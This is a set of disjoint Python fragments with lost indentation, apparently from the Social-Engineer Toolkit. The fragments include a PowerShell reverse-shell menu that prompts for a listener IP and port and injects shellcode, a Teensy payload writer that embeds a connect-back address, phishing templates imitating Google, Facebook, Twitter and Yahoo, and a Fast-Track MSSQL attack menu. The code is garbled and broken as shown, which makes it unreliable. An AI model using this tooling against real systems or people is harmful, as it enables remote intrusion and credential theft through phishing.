powershell_menu_choice = input(core.setprompt(["29"], ""))
if powershell_menu_choice != "99":
# specify ipaddress of reverse listener
#ipaddr = core.grab_ipaddress()
ipaddr = raw_input("Enter the IPAddress or DNS name for the reverse host: ")
core.update_options("IPADDR=" + ipaddr)
# if we select alphanumeric shellcode
if powershell_menu_choice == "1":
port = input(core.setprompt(["29"], "Enter the port for the reverse [443]"))
if not port:
port = "443"
core.update_options("PORT=" + port)
core.update_options("POWERSHELL_SOLO=ON")
core.print_status("Prepping the payload for delivery and injecting alphanumeric shellcode...")
payload_counter = 0
choice = None
for line in fileopen:
line = line.rstrip()
if counter == 0:
choice = str(line)
if counter == 1:
payload_counter = 1
counter += 1
if choice != "14":
# Open the IPADDR file
if core.check_options("IPADDR=") != 0:
ipaddr = core.check_options("IPADDR=")
else:
ipaddr = input(core.setprompt(["6"], "IP address to connect back on"))
core.update_options("IPADDR=" + ipaddr)
if not os.path.isfile(os.path.join(core.setdir + "teensy")):
core.print_error("FATAL:Something went wrong, the Teensy config file was not created.")
core.exit_set()
def writefile(filename, now):
with open(os.path.join("src/teensy/" + filename)) as fileopen, \
open(os.path.join(core.setdir + "/reports/teensy_{0}.pde".format(now)), "w") as filewrite:
for line in fileopen:
match = re.search("IPADDR", line)
if match:
line = line.replace("IPADDR", ipaddr)
dest = "src/html/"
url = ""
core.debug_msg(core.mod_name(), "entering src.html.templates.template'", 1)
#
# used for pre-defined templates
#
print("""
1. Java Required
2. Google
3. Facebook
4. Twitter
5. Yahoo
""")
choice = raw_input(core.setprompt(["2"], "Select a template"))
if choice == "exit":
core.exit_set()
# file used for nextpage in java applet attack
# if nothing is selected
if choice == "":
choice = "1"
# if java required
if choice == "1":
if os.path.isfile("src/html/index.template"):
os.remove("src/html/index.template")
shutil.copyfile("src/html/templates/java/index.template", "src/html/index.template")
import subprocess
import _mssql
#
#
# Fast-Track Main options and interface menus
#
#
setcore.check_mssql()
try:
while 1:
###################################################
# USER INPUT: SHOW WEB ATTACK MENU #
###################################################
setcore.CreateMenu(text.fasttrack_text, text.fasttrack_menu)
attack_vector = raw_input(setcore.setprompt(["19"], ""))
if attack_vector == "99" or attack_vector == "quit" or attack_vector == "exit":
break
##################################
##################################
# mssql_scanner
##################################
##################################
if attack_vector == "1":
# start the menu
setcore.CreateMenu(text.fasttrack_mssql_text1,
text.fasttrack_mssql_menu1)
# take input here
attack_vector_sql = raw_input(setcore.setprompt(["19", "21"], ""))
